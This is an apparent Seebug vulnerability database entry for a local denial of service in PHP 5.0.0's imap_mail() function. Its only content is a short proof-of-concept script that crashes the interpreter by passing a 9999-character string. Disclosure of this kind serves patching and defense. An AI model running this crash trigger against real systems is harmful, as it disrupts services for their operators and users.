PHP 5.0.0 - imap_mail() local denial of service

2016-09-03T00:00:00
ID SSV:92380
Type seebug
Reporter mrbean
Modified 2016-09-03T00:00:00

Description

No description provided by source.

                                        
                                            
                                                
<?php
#############################################################################
## PHP 5.0.0 imap_mail() 本地拒绝服务
## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0
## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
#############################################################################
if (!extension_loaded("imap")) die("You need imap extension loaded!");

$str = str_repeat('A', 9999);
imap_mail($str,'','');
?>